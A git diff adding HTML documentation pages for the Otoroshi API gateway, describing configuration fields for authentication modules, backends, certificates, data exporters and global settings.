  • Contains(Wildcard(*value*)) on an array to check if one of the item of the array matches the wildcard value
  • +
  • ContainsNot(Wildcard(*value*)) on an array to check if one of the item of the array does not matches the wildcard value
  • +
  • Contains(value) on an array to check if the array contains a value
  • +
  • ContainsNot(value) on an array to check if the array does not contains a value
  • +
+

for instance to check if the current user has the right two, you can write the following validator

+
{
+  "path": "$.profile.rights",
+  "value": "Contains(two)"
+}
+
+

OAuth 2.0 / OIDC provider

+

If you want to secure an app or your Otoroshi UI with this provider, you can check these tutorials : Secure an app with keycloak or Secure an app with auth0

+
    +
  • Use cookie: If your OAuth2 provider does not support query param in redirect uri, you can use cookies instead
  • +
  • Use json payloads: the access token, sended to retrieve the user info, will be pass in body as JSON. If disabled, it will sended as Map.
  • +
  • Enabled PKCE flow: This way, a malicious attacker can only intercept the Authorization Code, and they cannot exchange it for a token without the Code Verifier.
  • +
  • Disable wildcard on redirect URIs: As of OAuth 2.1, query parameters on redirect URIs are no longer allowed
  • +
  • Refresh tokens: Automatically refresh access token using the refresh token if available
  • +
  • Read profile from token: if enabled, the user profile will be read from the access token, otherwise the user profile will be retrieved from the user information url
  • +
  • Super admins only: All logged in users will have super admins rights
  • +
  • Client ID: a public identifier of your app
  • +
  • Client Secret: a secret known only to the application and the authorization server
  • +
  • Authorize URL: used to interact with the resource owner and get the authorization to access the protected resource
  • +
  • Token URL: used by the application in order to get an access token or a refresh token
  • +
  • Introspection URL: used to validate access tokens
  • +
  • Userinfo URL: used to retrieve the profile of the user
  • +
  • Login URL: used to redirect user to the login provider page
  • +
  • Logout URL: redirect uri used by the identity provider to redirect user after logging out
  • +
  • Callback URL: redirect uri sended to the identity provider to redirect user after successfully connecting
  • +
  • Access token field name: field used to search access token in the response body of the token URL call
  • +
  • Scope: presented scopes to the user in the consent screen. Scopes are space-separated lists of identifiers used to specify what access privileges are being requested
  • +
  • Claims: asked name/values pairs that contains information about a user.
  • +
  • Name field name: Retrieve name from token field
  • +
  • Email field name: Retrieve email from token field
  • +
  • Otoroshi metadata field name: Retrieve metadata from token field
  • +
  • Otoroshi rights field name: Retrieve user rights from user profile
  • +
  • Extra metadata: merged with the user metadata
  • +
  • Data override: merged with extra metadata when a user connects to a private app
  • +
  • Rights override: useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.
  • +
  • Api key metadata field name: used to extract api key metadata from the OIDC access token
  • +
  • Api key tags field name: used to extract api key tags from the OIDC access token
  • +
  • Proxy host: host of proxy behind the identify provider
  • +
  • Proxy port: port of proxy behind the identify provider
  • +
  • Proxy principal: user of proxy
  • +
  • Proxy password: password of proxy
  • +
  • OIDC config url: URI of the openid-configuration used to discovery documents. By convention, this URI ends with .well-known/openid-configuration
  • +
  • Token verification: What kind of algorithm you want to use to verify/sign your JWT token with
  • +
  • SHA Size: Word size for the SHA-2 hash function used
  • +
  • Hmac secret: The Hmac secret
  • +
  • Base64 encoded secret: Is the secret encoded with base64
  • +
  • Custom TLS Settings: TLS settings for JWKS fetching
  • +
  • TLS loose: if enabled, will block all untrustful ssl configs
  • +
  • Trust all: allows any server certificates even the self-signed ones
  • +
  • Client certificates: list of client certificates used to communicate with JWKS server
  • +
  • Trusted certificates: list of trusted certificates received from JWKS server
  • +
+

OAuth 1.0a provider

+

If you want to secure an app or your Otoroshi UI with this provider, you can check this tutorial : Secure an app with OAuth 1.0a

+
    +
  • Http Method: method used to get request token and the access token
  • +
  • Consumer key: the identifier portion of the client credentials (equivalent to a username)
  • +
  • Consumer secret: the identifier portion of the client credentials (equivalent to a password)
  • +
  • Request Token URL: url to retrieve the request token
  • +
  • Authorize URL: used to redirect user to the login page
  • +
  • Access token URL: used to retrieve the access token from the server
  • +
  • Profile URL: used to get the user profile
  • +
  • Callback URL: used to redirect user when successfully connecting
  • +
  • Rights override: override the rights of the connected user. With JSON format, each authenticated user, using email, can be associated to a list of rights on tenants and Otoroshi teams.
  • +
+

LDAP Authentication provider

+

If you want to secure an app or your Otoroshi UI with this provider, you can check this tutorial : Secure an app with LDAP

+
    +
  • Basic auth.: if enabled, user and password will be extract from the Authorization header as a Basic authentication. It will skipped the login Otoroshi page
  • +
  • Allow empty password: LDAP servers configured by default with the possibility to connect without password can be secured by this module to ensure that user provides a password
  • +
  • Super admins only: All logged in users will have super admins rights
  • +
  • Extract profile: extract LDAP profile in the Otoroshi user
  • +
  • LDAP Server URL: list of LDAP servers to join. Otoroshi use this list in sequence and swap to the next server, each time a server breaks in timeout
  • +
  • Search Base: used to global filter
  • +
  • Users search base: concat with search base to search users in LDAP
  • +
  • Mapping group filter: map LDAP groups with Otoroshi rights
  • +
  • Search Filter: used to filter users. ${username} is replace by the email of the user and compare to the given field
  • +
  • Admin username (bind DN): holds the name of the environment property for specifying the identity of the principal for authenticating the caller to the service
  • +
  • Admin password: holds the name of the environment property for specifying the credentials of the principal for authenticating the caller to the service
  • +
  • Extract profile filters attributes in: keep only attributes which are matching the regex
  • +
  • Extract profile filters attributes not in: keep only attributes which are not matching the regex
  • +
  • Name field name: Retrieve name from LDAP field
  • +
  • Email field name: Retrieve email from LDAP field
  • +
  • Otoroshi metadata field name: Retrieve metadata from LDAP field
  • +
  • Extra metadata: merged with the user metadata
  • +
  • Data override: merged with extra metadata when a user connects to a private app
  • +
  • Additional rights group: list of virtual groups. A virtual group is composed of a list of users and a list of rights for each teams/organizations.
  • +
  • Rights override: useful when you want erase the rights of an user with only specific rights. This field is the last to be applied on the user rights.
  • +
+

In memory provider

+
    +
  • Basic auth.: if enabled, user and password will be extract from the Authorization header as a Basic authentication. It will skipped the login Otoroshi page
  • +
  • Login with WebAuthn : enabled logging by WebAuthn
  • +
  • Users: list of users with name, email and metadata. The default password is password. The edit button is useful when you want to change the password of the user. The reset button reinitialize the password.
  • +
  • Users raw: show the registered users with their profile and their rights. You can edit directly each field, especially the rights of the user.
  • +
+

SAML v2 provider

+
    +
  • Single sign on URL: the Identity Provider Single Sign-On URL
  • +
  • The protocol binding for the login request: the protocol binding for the login request
  • +
  • Single Logout URL: a SAML flow that allows the end-user to logout from a single session and be automatically logged out of all related sessions that were established during SSO
  • +
  • The protocol binding for the logout request: the protocol binding for the logout request
  • +
  • Sign documents: Should SAML Request be signed by Otoroshi ?
  • +
  • Validate Assertions Signature: Enable/disable signature validation of SAML assertions
  • +
  • Validate assertions with Otoroshi certificate: validate assertions with Otoroshi certificate. If disabled, the Encryption Certificate and Encryption Private Key fields can be used to pass a certificate and a private key to validate assertions.
  • +
  • Encryption Certificate: certificate used to verify assertions
  • +
  • Encryption Private Key: privaye key used to verify assertions
  • +
  • Signing Certificate: certicate used to sign documents
  • +
  • Signing Private Key: private key to sign documents
  • +
  • Signature al: the signature algorithm to use to sign documents
  • +
  • Canonicalization Method: canonicalization method for XML signatures
  • +
  • Encryption KeyPair: the keypair used to sign/verify assertions
  • +
  • Name ID Format: SP and IdP usually communicate each other about a subject. That subject should be identified through a NAME-IDentifier, which should be in some format so that It is easy for the other party to identify it based on the Format
  • +
  • Use NameID format as email: use NameID format as email. If disabled, the email will be search from the attributes
  • +
  • URL issuer: provide the URL to the IdP’s who will issue the security token
  • +
  • Validate Signature: enable/disable signature validation of SAML responses
  • +
  • Validate Assertions Signature: should SAML Assertions to be decrypted ?
  • +
  • Validating Certificates: the certificate in PEM format that must be used to check for signatures.
  • +
+

Special routes

+

when using private apps with auth. modules, you can access special routes that can help you

+
GET 'http://xxxxxxxx.xxxx.xx/.well-known/otoroshi/logout' # trigger logout for the current auth. module
+GET 'http://xxxxxxxx.xxxx.xx/.well-known/otoroshi/me'     # get the current logged user profile (do not forget to pass cookies)
+
+

Related pages

+ + +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/backends.html b/docs/manual/entities/backends.html new file mode 100644 index 0000000000..159d11e587 --- /dev/null +++ b/docs/manual/entities/backends.html @@ -0,0 +1,480 @@ + + + + +Backends · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Backends

+

A backend represent a list of server to target in a route and its client settings, load balancing, etc.

+

The backends can be define directly on the route designer or on their dedicated page in order to be reusable.

+

UI page

+

You can find all backends here

+

Global Properties

+
    +
  • Targets root path: the path to add to each request sent to the downstream service
  • +
  • Full path rewrite: When enabled, the path of the uri will be totally stripped and replaced by the value of Targets root path. If this value contains expression language expressions, they will be interpolated before forwading the request to the backend. When combined with things like named path parameters, it is possible to perform a ful url rewrite on the target path like
  • +
  • +

    input: subdomain.domain.tld/api/users/$id<[0-9]+>/bills

  • +
  • output: target.domain.tld/apis/v1/basic_users/${req.pathparams.id}/all_bills
  • +
+

Targets

+

The list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures.

+
    +
  • id: unique id of the target
  • +
  • Hostname: the hostname of the target without scheme
  • +
  • Port: the port of the target
  • +
  • TLS: call the target via https
  • +
  • Weight: the weight of the target. This valus is used by the load balancing strategy to dispatch the traffic between all targets
  • +
  • Predicate: a function to filter targets from the target list based on a predefined predicate
  • +
  • Protocol: protocol used to call the target, can be only equals to HTTP/1.0, HTTP/1.1, HTTP/2.0 or HTTP/3.0
  • +
  • IP address: the ip address of the target
  • +
  • TLS Settings: +
      +
    • Enabled: enable this section
    • +
    • TLS loose: if enabled, will block all untrustful ssl configs
    • +
    • TrustAll: allows any server certificates even the self-signed ones
    • +
    • Client certificates: list of client certificates used to communicate with the downstream service
    • +
    • Trusted certificates: list of trusted certificates received from the downstream service
    • +
    +
  • +
+

Heatlh check

+
    +
  • Enabled: if enabled, the health check URL will be called at regular intervals
  • +
  • URL: the URL to call to run the health check
  • +
+

Load balancing

+
    +
  • Type: the load balancing algorithm used
  • +
+

Client settings

+
    +
  • backoff factor: specify the factor to multiply the delay for each retry (default value 2)
  • +
  • retries: specify how many times the client will retry to fetch the result of the request after an error before giving up. (default value 1)
  • +
  • max errors: specify how many errors can pass before opening the circuit breaker (default value 20)
  • +
  • global timeout: specify how long the global call (with retries) should last at most in milliseconds. (default value 30000)
  • +
  • connection timeout: specify how long each connection should last at most in milliseconds. (default value 10000)
  • +
  • idle timeout: specify how long each connection can stay in idle state at most in milliseconds (default value 60000)
  • +
  • call timeout: Specify how long each call should last at most in milliseconds. (default value 30000)
  • +
  • call and stream timeout: specify how long each call should last at most in milliseconds for handling the request and streaming the response. (default value 120000)
  • +
  • initial delay: delay after which first retry will happens if needed (default value 50)
  • +
  • sample interval: specify the delay between two retries. Each retry, the delay is multiplied by the backoff factor (default value 2000)
  • +
  • cache connection: try to keep tcp connection alive between requests (default value false)
  • +
  • cache connection queue size: queue size for an open tcp connection (default value 2048)
  • +
  • custom timeouts (list): +
      +
    • Path: the path on which the timeout will be active
    • +
    • Client connection timeout: specify how long each connection should last at most in milliseconds.
    • +
    • Client idle timeout: specify how long each connection can stay in idle state at most in milliseconds.
    • +
    • Client call and stream timeout: specify how long each call should last at most in milliseconds for handling the request and streaming the response.
    • +
    • Call timeout: Specify how long each call should last at most in milliseconds.
    • +
    • Client global timeout: specify how long the global call (with retries) should last at most in milliseconds.
    • +
    +
  • +
+

Proxy

+
    +
  • host: host of proxy behind the identify provider
  • +
  • port: port of proxy behind the identify provider
  • +
  • protocol: protocol of proxy behind the identify provider
  • +
  • principal: user of proxy
  • +
  • password: password of proxy
  • +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/certificates.html b/docs/manual/entities/certificates.html new file mode 100644 index 0000000000..c1c672fb27 --- /dev/null +++ b/docs/manual/entities/certificates.html @@ -0,0 +1,445 @@ + + + + +Certificates · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Certificates

+

All generated and imported certificates are listed in the https://otoroshi.xxxx/bo/dashboard/certificates page. All those certificates can be used to serve traffic with TLS, perform mTLS calls, sign and verify JWT tokens.

+

The list of available actions are:

+
    +
  • Add item: redirects the user on the certificate creation page. It’s useful when you already had a certificate (like a pem file) and that you want to load it in Otoroshi.
  • +
  • Let's Encrypt certificate: asks a certificate matching a given host to Let’s encrypt
  • +
  • Create certificate: issues a certificate with an existing Otoroshi certificate as CA.
  • +
  • Import .p12 file: loads a p12 file as certificate
  • +
+

Add item

+
    +
  • Id: the generated unique id of the certificate
  • +
  • Name: the name of the certificate
  • +
  • Description: the description of the certificate
  • +
  • Auto renew cert.: certificate will be issued when it will be expired. Only works with a CA from Otoroshi and a known private key
  • +
  • Client cert.: the certificate generated will be used to identicate a client to a server
  • +
  • Keypair: the certificate entity will be a pair of public key and private key.
  • +
  • Public key exposed: if true, the public key will be exposed on http://otoroshi-api.your-domain/.well-known/jwks.json
  • +
  • Certificate status: the current status of the certificate. It can be valid if the certificate is not revoked and not expired, or equal to the reason of the revocation
  • +
  • Certificate full chain: list of certificates used to authenticate a client or a server
  • +
  • Certificate private key: the private key of the certificate or nothing if wanted. You can omit it if you want just add a certificte full chain to trust them.
  • +
  • Private key password: the password to protect the private key
  • +
  • Certificate tags: the tags attached to the certificate
  • +
  • Certaificate metadata: the metadata attached to the certificate
  • +
+

Let’s Encrypt certificate

+
    +
  • Let's encrypt: if enabled, the certificate will be generated by Let’s Encrypt. If disabled, the user will be redirect to the Create certificate page
  • +
  • Host: the host send to Let’s encrypt to issue the certificate
  • +
+

Create certificate view

+
    +
  • Issuer: the CA used to sign your certificate
  • +
  • CA certificate: if enabled, the certificate will be used as an authority certificate. Once generated, it will be use as CA to sign the new certificates
  • +
  • Let's Encrypt: redirects to the Let’s Encrypt page to request a certificate
  • +
  • Client certificate: the certificate generated will be used to identicate a client to a server
  • +
  • Include A.I.A: include authority information access urls in the certificate
  • +
  • Key Type: the type of the private key
  • +
  • Key Size: the size of the private key
  • +
  • Signature Algorithm: the signature algorithm used to sign the certificate
  • +
  • Digest Algorithm: the digest algorithm used
  • +
  • Validity: how much time your certificate will be valid
  • +
  • Subject DN: the subject DN of your certificate
  • +
  • Hosts: the hosts of your certificate
  • +
+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/data-exporters.html b/docs/manual/entities/data-exporters.html new file mode 100644 index 0000000000..b4f418a032 --- /dev/null +++ b/docs/manual/entities/data-exporters.html @@ -0,0 +1,642 @@ + + + + +Data exporters · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Data exporters

+

The data exporters are the way to export alerts and events from Otoroshi to an external storage.

+

To try them, you can folllow this tutorial.

+

Common fields

+
    +
  • Type: the type of event exporter
  • +
  • Enabled: enabled or not the exporter
  • +
  • Name: given name to the exporter
  • +
  • Description: the data exporter description
  • +
  • Tags: list of tags associated to the module
  • +
  • Metadata: list of metadata associated to the module
  • +
+

All exporters are split in three parts. The first and second parts are common and the last are specific by exporter.

+
    +
  • Filtering and projection : section to filter the list of sent events and alerts. The projection field allows you to export only certain event fields and reduce the size of exported data. It’s composed of Filtering and Projection fields. To get a full usage of this elements, read this section
  • +
  • Queue details: set of fields to adjust the workers of the exporter.
  • +
  • Buffer size: if elements are pushed onto the queue faster than the source is consumed the overflow will be handled with a strategy specified by the user. Keep in memory the number of events.
  • +
  • JSON conversion workers: number of workers used to transform events to JSON format in paralell
  • +
  • Send workers: number of workers used to send transformed events
  • +
  • Group size: chunk up this stream into groups of elements received within a time window (the time window is the next field)
  • +
  • Group duration: waiting time before sending the group of events. If the group size is reached before the group duration, the events will be instantly sent
  • +
+

For the last part, the Exporter configuration will be detail individually.

+

Matching and projections

+

Filtering is used to include or exclude some kind of events and alerts. For each include and exclude field, you can add a list of key-value.

+

Let’s say we only want to keep Otoroshi alerts

+
{ "include": [{ "@type": "AlertEvent" }] }
+
+

Otoroshi provides a list of rules to keep only events with specific values. We will use the following event to illustrate.

+
{
+ "foo": "bar",
+ "type": "AlertEvent",
+ "alert": "big-alert",
+ "status": 200,
+ "codes": ["a", "b"],
+ "inner": {
+   "foo": "bar",
+   "bar": "foo"
+ }
+}
+
+

The rules apply with the previous example as event.

+

 

+

Projection is a list of fields to export. In the case of an empty list, all the fields of an event will be exported. In other case, only the listed fields will be exported.

+

Let’s say we only want to keep Otoroshi alerts and only type, timestamp and id of each exported events

+
{
+ "@type": true,
+ "@timestamp": true,
+ "@id": true
+}
+
+

An other possibility is to rename the exported field. This value will be the same but the exported field will have a different name.

+

Let’s say we want to rename all @id field with unique-id as key

+
{ "@id": "unique-id" }
+
+

The last possiblity is to retrieve a sub-object of an event. Let’s say we want to get the name of each exported user of events.

+
{ "user": { "name": true } }
+
+

You can also expand the entire source object with

+
{
+  "$spread": true
+}
+
+

and the remove fields you don’t want with

+
{
+  "fieldthatidontwant": false
+}
+
+

Projections allows object modification using jspath, for instance, this example will create a new otoroshiHeaderKeys field to exported events. This field will contains a string array containing every request header name.

+
{
+  "otoroshiHeaderKeys": {
+     "$path": "$.otoroshiHeadersIn.*.key"
+  }
+}
+
+

Alternativerly, projections also allow to use JQ to transform exported events

+
{
+  "headerKeys": {
+     "$jq": "[.headers[].key]"
+  }
+}
+
+

JQ filter also allows conditionnal filtering : transformation is applied only if given predicate is match. In the following example, headerKeys field will be valued only if target.scheme is https.

+
{
+  "headerKeys": {
+    "$jqIf": {
+      "filter": "[.headers[].key]",
+      "predicate": {
+        "path": "target.scheme",
+        "value": "https"
+      }
+    }
+  }
+}
+
+

See JQ manual for complete syntax reference.

+

Elastic

+

With this kind of exporter, every matching event will be sent to an elastic cluster (in batch). It is quite useful and can be used in combination with elastic read in global config

+
    +
  • Cluster URI: Elastic cluster URI
  • +
  • Index: Elastic index
  • +
  • Type: Event type (not needed for elasticsearch above 6.x)
  • +
  • User: Elastic User (optional)
  • +
  • Password: Elastic password (optional)
  • +
  • Version: Elastic version (optional, if none provided it will be fetched from cluster)
  • +
  • Apply template: Automatically apply index template
  • +
  • Check Connection: Button to test the configuration. It will displayed a modal with checked point, and if the case of it’s successfull, it will displayed the found version of the Elasticsearch and the index used
  • +
  • Manually apply index template: try to put the elasticsearch template by calling the api of elasticsearch
  • +
  • Show index template: try to retrieve the current index template presents in elasticsearch
  • +
  • Client side temporal indexes handling: When enabled, Otoroshi will manage the creation of indexes. When it’s disabled, Otoroshi will push in the same index
  • +
  • One index per: When the previous field is enabled, you can choose the interval of time between the creation of a new index in elasticsearch
  • +
  • Custom TLS Settings: Enable the TLS configuration for the communication with Elasticsearch
  • +
  • TLS loose: if enabled, will block all untrustful ssl configs
  • +
  • TrustAll: allows any server certificates even the self-signed ones
  • +
  • Client certificates: list of client certificates used to communicate with elasticsearch
  • +
  • Trusted certificates: list of trusted certificates received from elasticsearch
  • +
+

Webhook

+

With this kind of exporter, every matching event will be sent to a URL (in batch) using a POST method and an JSON array body.

+
    +
  • Alerts hook URL: url used to post events
  • +
  • Hook Headers: headers add to the post request
  • +
  • Custom TLS Settings: Enable the TLS configuration for the communication with Elasticsearch
  • +
  • TLS loose: if enabled, will block all untrustful ssl configs
  • +
  • TrustAll: allows any server certificates even the self-signed ones
  • +
  • Client certificates: list of client certificates used to communicate with elasticsearch
  • +
  • Trusted certificates: list of trusted certificates received from elasticsearch
  • +
+

Pulsar

+

With this kind of exporter, every matching event will be sent to an Apache Pulsar topic

+
    +
  • Pulsar URI: URI of the pulsar server
  • +
  • Custom TLS Settings: Enable the TLS configuration for the communication with Elasticsearch
  • +
  • TLS loose: if enabled, will block all untrustful ssl configs
  • +
  • TrustAll: allows any server certificates even the self-signed ones
  • +
  • Client certificates: list of client certificates used to communicate with elasticsearch
  • +
  • Trusted certificates: list of trusted certificates received from elasticsearch
  • +
  • Pulsar tenant: tenant on the pulsar server
  • +
  • Pulsar namespace: namespace on the pulsar server
  • +
  • Pulsar topic: topic on the pulsar server
  • +
+

Kafka

+

With this kind of exporter, every matching event will be sent to an Apache Kafka topic. You can find few tutorials about the connection between Otoroshi and Kafka based on docker images.

+
    +
  • Kafka Servers: the list of servers to contact to connect the Kafka client with the Kafka cluster
  • +
  • Kafka topic: the topic on which Otoroshi alerts will be sent
  • +
+

By default, Kafka is installed with no authentication. Otoroshi supports the following authentication mechanisms and protocols for Kafka brokers.

+

SASL

+

The Simple Authentication and Security Layer (SASL) [RFC4422] is a method for adding authentication support to connection-based protocols.

+
    +
  • SASL username: the client username
  • +
  • SASL password: the client username
  • +
  • SASL Mechanism: +
      +
    • PLAIN: SASL/PLAIN uses a simple username and password for authentication.
    • +
    • SCRAM-SHA-256 and SCRAM-SHA-512: SASL/SCRAM uses usernames and passwords stored in ZooKeeper. Credentials are created during installation.
    • +
    +
  • +
+

SSL

+
    +
  • Kafka keypass: the keystore password if you use a keystore/truststore to connect to Kafka cluster
  • +
  • Kafka keystore path: the keystore path on the server if you use a keystore/truststore to connect to Kafka cluster
  • +
  • Kafka truststore path: the truststore path on the server if you use a keystore/truststore to connect to Kafka cluster
  • +
  • Custom TLS Settings: enable the TLS configuration for the communication with Elasticsearch +
      +
    • TLS loose: if enabled, will block all untrustful ssl configs
    • +
    • TrustAll: allows any server certificates even the self-signed ones
    • +
    • Client certificates: list of client certificates used to communicate with elasticsearch
    • +
    • Trusted certificates: list of trusted certificates received from elasticsearch
    • +
    +
  • +
+

SASL + SSL

+

This mechanism uses the SSL configuration and the SASL configuration.

+

Mailer

+

With this kind of exporter, every matching event will be sent in batch as an email (using one of the following email provider)

+

Otoroshi supports 5 exporters of email type.

+

Console

+

Nothing to add. The events will be write on the standard output.

+

Generic

+
    +
  • Mailer url: URL used to push events
  • +
  • Headers: headers add to the push requests
  • +
  • Email addresses: recipients of the emails
  • +
+

Mailgun

+
    +
  • EU: is EU server ? if enabled, *https://api.eu.mailgun.net/* will be used, otherwise, the US URL will be used : *https://api.mailgun.net/* +
  • +
  • Mailgun api key: API key of the mailgun account
  • +
  • Mailgun domain: domain name of the mailgun account
  • +
  • Email addresses: recipients of the emails
  • +
+

Mailjet

+
    +
  • Public api key: public key of the mailjet account
  • +
  • Private api key: private key of the mailjet account
  • +
  • Email addresses: recipients of the emails
  • +
+

Sendgrid

+
    +
  • Sendgrid api key: api key of the sendgrid account
  • +
  • Email addresses: recipients of the emails
  • +
+

File

+
    +
  • File path: path where the logs will be write
  • +
  • Max file size: when size is reached, Otoroshi will create a new file postfixed by the current timestamp
  • +
+

GoReplay file

+

With this kind of exporter, every matching event will be sent to a .gor file compatible with GoReplay.

Warning
+

this exporter will only be able to catch TrafficCaptureEvent. Those events are created when a route (or the global config) of the new proxy engine is setup to capture traffic using the capture flag.

+
    +
  • File path: path where the logs will be write
  • +
  • Max file size: when size is reached, Otoroshi will create a new file postfixed by the current timestamp
  • +
  • Capture requests: capture http requests in the .gor file
  • +
  • Capture responses: capture http responses in the .gor file
  • +
+

Console

+

Nothing to add. The events will be write on the standard output.

+

Custom

+

This type of exporter let you the possibility to write your own exporter with your own rules. To create an exporter, we need to navigate to the plugins page, and to create a new item of type exporter.

+

When it’s done, the exporter will be visible in this list.

+
    +
  • Exporter config.: the configuration of the custom exporter.
  • +
+

Metrics

+

This plugin is useful to rewrite the metric labels exposed on the /metrics endpoint.

+
    +
  • Labels: list of metric labels. Each pair contains an existing field name and the new name.
  • +
+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/entities/global-config.html b/docs/manual/entities/global-config.html new file mode 100644 index 0000000000..3f534a1c05 --- /dev/null +++ b/docs/manual/entities/global-config.html @@ -0,0 +1,567 @@ + + + + +Global config · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Global config

+

The global config, named Danger zone in Otoroshi, is the place to configure Otoroshi globally.

+
+

Warning: In this page, the configuration is really sensitive and affects the global behaviour of Otoroshi.

+
+

Misc. Settings

+
    +
  • Maintenance mode : It passes every single service in maintenance mode. If a user calls a service, the maintenance page will be displayed
  • +
  • No OAuth login for BackOffice : Forces admins to login only with user/password or user/password/u2F device
  • +
  • API Read Only: Freeze Otoroshi datastore in read only mode. Only people with access to the actual underlying datastore will be able to disable this.
  • +
  • Auto link default : When no group is specified on a service, it will be assigned to default one
  • +
  • Use circuit breakers : Use circuit breaker on all services
  • +
  • Use new http client as the default Http client : All http calls will use the new http client by default
  • +
  • Enable live metrics : Enable live metrics in the Otoroshi cluster. Performs a lot of writes in the datastore
  • +
  • Digitus medius : Use middle finger emoji as a response character for endless HTTP responses (see IP address filtering settings).
  • +
  • Limit conc. req. : Limit the number of concurrent request processed by Otoroshi to a certain amount. Highly recommended for resilience
  • +
  • Use X-Forwarded-* headers for routing : When evaluating routing of a request, X-Forwarded-* headers will be used if presents
  • +
  • Max conc. req. : Maximum number of concurrent requests processed by otoroshi.
  • +
  • Max HTTP/1.0 resp. size : Maximum size of an HTTP/1.0 response in bytes. After this limit, response will be cut and sent as is. The best value here should satisfy (maxConcurrentRequests * maxHttp10ResponseSize) < process.memory for worst case scenario.
  • +
  • Max local events : Maximum number of events stored.
  • +
  • Lines : deprecated
  • +
+

IP address filtering settings

+
    +
  • IP allowed list: Only IP addresses that will be able to access Otoroshi exposed services
  • +
  • IP blocklist: IP addresses that will be refused to access Otoroshi exposed services
  • +
  • Endless HTTP Responses: IP addresses for which each request will return around 128 Gb of 0s
  • +
+

Quotas settings

+
    +
  • Global throttling: The max. number of requests allowed per second globally on Otoroshi
  • +
  • Throttling per IP: The max. number of requests allowed per second per IP address globally on Otoroshi
  • +
+

Analytics: Elastic dashboard datasource (read)

+
    +
  • Cluster URI: Elastic cluster URI
  • +
  • Index: Elastic index
  • +
  • Type: Event type (not needed for elasticsearch above 6.x)
  • +
  • User: Elastic User (optional)
  • +
  • Password: Elastic password (optional)
  • +
  • Version: Elastic version (optional, if none provided it will be fetched from cluster)
  • +
  • Apply template: Automatically apply index template
  • +
  • Check Connection: Button to test the configuration. It will displayed a modal with a connection checklist, if connection is successfull, it will display the found version of the Elasticsearch and the index used
  • +
  • Manually apply index template: try to put the elasticsearch template by calling the api of elasticsearch
  • +
  • Show index template: try to retrieve the current index template present in elasticsearch
  • +
  • Client side temporal indexes handling: When enabled, Otoroshi will manage the creation of indexes over time. When it’s disabled, Otoroshi will push in the same index
  • +
  • One index per: When the previous field is enabled, you can choose the interval of time between the creation of a new index in elasticsearch
  • +
  • Custom TLS Settings: Enable the TLS configuration for the communication with Elasticsearch
  • +
  • TLS loose: if enabled, will block all untrustful ssl configs
  • +
  • TrustAll: allows any server certificates even the self-signed ones
  • +
  • Client certificates: list of client certificates used to communicate with elasticsearch
  • +
  • Trusted certificates: list of trusted certificates received from elasticsearch
  • +
+

Statsd settings

+
    +
  • Datadog agent: The StatsD agent is a Datadog agent
  • +
  • StatsD agent host: The host on which StatsD agent is listening
  • +
  • StatsD agent port: The port on which StatsD agent is listening (default is 8125)
  • +
+

Backoffice auth. settings

+
    +
  • Backoffice auth. config: the authentication module used in front of Otoroshi. It will be used to connect to Otoroshi on the login page
  • +
+

Let’s encrypt settings

+
    +
  • Enabled: when enabled, Otoroshi will have the possiblity to sign certificate from let’s encrypt notably in the SSL/TSL Certificates page
  • +
  • Server URL: ACME endpoint of let’s encrypt
  • +
  • Email addresses: (optional) list of addresses used to order the certificates
  • +
  • Contact URLs: (optional) list of addresses used to order the certificates
  • +
  • Public Key: used to ask a certificate to let’s encrypt, generated by Otoroshi
  • +
  • Private Key: used to ask a certificate to let’s encrypt, generated by Otoroshi
  • +
+

CleverCloud settings

+

Once configured, you can register one clever cloud app of your organization directly as an Otoroshi service.

+
    +
  • CleverCloud consumer key: consumer key of your clever cloud OAuth 1.0 app
  • +
  • CleverCloud consumer secret: consumer secret of your clever cloud OAuth 1.0 app
  • +
  • OAuth Token: oauth token of your clever cloud OAuth 1.0 app
  • +
  • OAuth Secret: oauth token secret of your clever cloud OAuth 1.0 app
  • +
  • CleverCloud orga. Id: id of your clever cloud organization
  • +
+

Global scripts

+

Global scripts will be deprecated soon, please use global plugins instead (see the next section)!

+

Global plugins

+
    +
  • Enabled: enable the use of global plugins
  • +
  • Plugins on new Otoroshi engine: list of plugins used by the new Otoroshi engine
  • +
  • Plugins on old Otoroshi engine: list of plugins used by the old Otoroshi engine
  • +
  • Plugin configuration: the overloaded configuration of plugins
  • +
+

Proxies

+

In this section, you can add a list of proxies for :

+
    +
  • Proxy for alert emails (mailgun)
  • +
  • Proxy for alert webhooks
  • +
  • Proxy for Clever-Cloud API access
  • +
  • Proxy for services access
  • +
  • Proxy for auth. access (OAuth, OIDC)
  • +
  • Proxy for client validators
  • +
  • Proxy for JWKS access
  • +
  • Proxy for elastic access
  • +
+

Each proxy has the following fields

+
    +
  • Proxy host: host of proxy
  • +
  • Proxy port: port of proxy
  • +
  • Proxy principal: user of proxy
  • +
  • Proxy password: password of proxy
  • +
  • Non proxy host: IP address that can access the service
  • +
+

Quotas alerting settings

+
    +
  • Enable quotas exceeding alerts: When apikey quotas is almost exceeded, an alert will be sent
  • +
  • Daily quotas threshold: The percentage of daily calls before sending alerts
  • +
  • Monthly quotas threshold: The percentage of monthly calls before sending alerts
  • +
+

User-Agent extraction settings

+
    +
  • User-Agent extraction: Allow user-agent details extraction. Can have impact on consumed memory. 
  • +
+

Geolocation extraction settings

+

Extract a geolocation for each call to Otoroshi.

+

Tls Settings

+
    +
  • Use random cert.: Use the first available cert when none matches the current domain
  • +
